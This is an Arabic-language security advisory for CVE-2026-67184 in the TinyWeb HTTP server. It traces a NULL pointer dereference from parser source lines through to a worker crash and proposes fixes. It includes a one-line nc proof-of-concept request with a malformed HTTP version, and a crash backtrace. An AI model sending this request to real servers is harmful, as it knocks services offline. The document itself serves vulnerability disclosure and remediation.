
استشارة أمنية: إلغاء مرجعية مؤشر NULL غير المُصادق عليه يؤدي إلى تعطّل الخادم (TinyWeb)
معرّف CVE المعيّن: CVE-2026-67184
عندما يفشل TinyWeb في تحليل سطر الطلب، فإنه يعيد خطأً لكنه يترك مؤشر عنوان URL الخاص بالطلب مضبوطًا على NULL. يتجاهل المستدعي الخطأ ويمرر الطلب إلى باني الاستجابة، الذي يلغي مرجعية ذلك المؤشر الفارغ ويُسقط العامل (worker). بضعة طلبات غير صالحة تكفي لإسقاط الخادم بالكامل دون أن يتعافى.
TnyWeb/0.0.8e48f15d (2018-11-20)، حيث أُدخل هذا المحلل ومسار الاستجابة، حتى a381da2 (2023-11-22، الأحدث على master).CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:Nمهاجم عن بُعد غير مصادَق يمكنه الوصول إلى منفذ TCP الذي يستمع عليه الخادم (9090 في الإعداد المرفق). لا يتطلب أي بيانات اعتماد أو تفاعل من المستخدم.
يخصص HttpParser::execute() كائن عنوان URL فقط بعد نجاح تحليل سطر الطلب. يؤدي وجود إصدار HTTP غير صالح إلى فشل فحص الإصدار والقفز إلى وسم الخطأ، الذي يعيد -1 قبل تنفيذ التخصيص:
// src/tiny_http/http_parser.cc:1401 (the "H" of "HTTP" is expected here)
checkOrGoError((ch == 'H')); // false -> goto error
// src/tiny_http/http_parser.cc:1692 (skipped by the goto above)
request->url = new Url;
// src/tiny_http/http_parser.cc:1750-1753
error:
LOG(Debug) << "http request content is invalid\n";
return -1;
يتم إنشاء HttpRequest عبر std::make_shared<HttpRequest>()، الذي يهيئه بقيمة افتراضية، لذا يبقى url NULL عندما يتم تخطي التخصيص.
يسجّل WebProtocol::dataReceived() القيمة المُعادة لكنه يستدعي buildResponse() بغض النظر عن ذلك:
// src/tiny_http/http_protocol.cc:57-61
valid = m_nParser.execute(data.c_str(), begin, data.size(), m_pRequest.get());
valid_requ = (valid == -1) ? false : true;
// src/tiny_http/http_protocol.cc:75
m_nResponser.buildResponse(m_pRequest.get(), valid_requ, m_pResponse.get());
يستقبل buildResponse() القيمة valid_requ == false لكنه لا يفحصها أبدًا، ويلغي مرجعية مؤشر URL الفارغ:
// src/tiny_http/http_responser.cc:66
Url* url = req->url; // NULL
// src/tiny_http/http_responser.cc:83
if (url->field_set & (1 << HTTP_UF_PATH)) { // SIGSEGV
تنهار عملية العامل (worker) عند هذا الوصول. ولا يُعاد تشغيلها إلى حالة تقديم الخدمة، لذلك بمجرد زوال العمال يتوقف الخادم عن الاستجابة.
شغّل الخادم باستخدام الإعداد المرفق (يستمع على المنفذ 9090).
تأكد من أنه يستجيب لطلب عادي:
curl http://TARGET:9090/
XTTP/1.1 في فحص الإصدار بعد أن يكون سطر الطلب قد التزم بالفعل بوضع الطلب:printf 'GET / XTTP/1.1\r\n\r\n' | nc TARGET 9090
يُظهر مصحح أخطاء (debugger) موصول بأحد العمال الانهيار عند إلغاء مرجعية NULL:
#0 HttpBuilder::buildResponse (valid_requ=false) at src/tiny_http/http_responser.cc:83
#1 WebProtocol::dataReceived (data="GET / XTTP/1.1\r\n...") at src/tiny_http/http_protocol.cc:75
يمكن لمهاجم غير مصادَق أن يُسقط عمال الخادم ببضعة طلبات قصيرة وأن يُبقي الخدمة معطلة عبر إعادة إرسالها. هذا بمثابة حرمان من الخدمة (denial of service).
في dataReceived()، عندما تكون قيمة valid_requ false، قم ببناء استجابة خطأ ثم ارجع دون استدعاء buildResponse(). وفي buildResponse()، افحص req->url للتأكد من أنه ليس NULL قبل استخدامه. كما أن تخصيص كائن عنوان URL قبل أن يفشل التحليل من شأنه أيضًا سد الثغرة.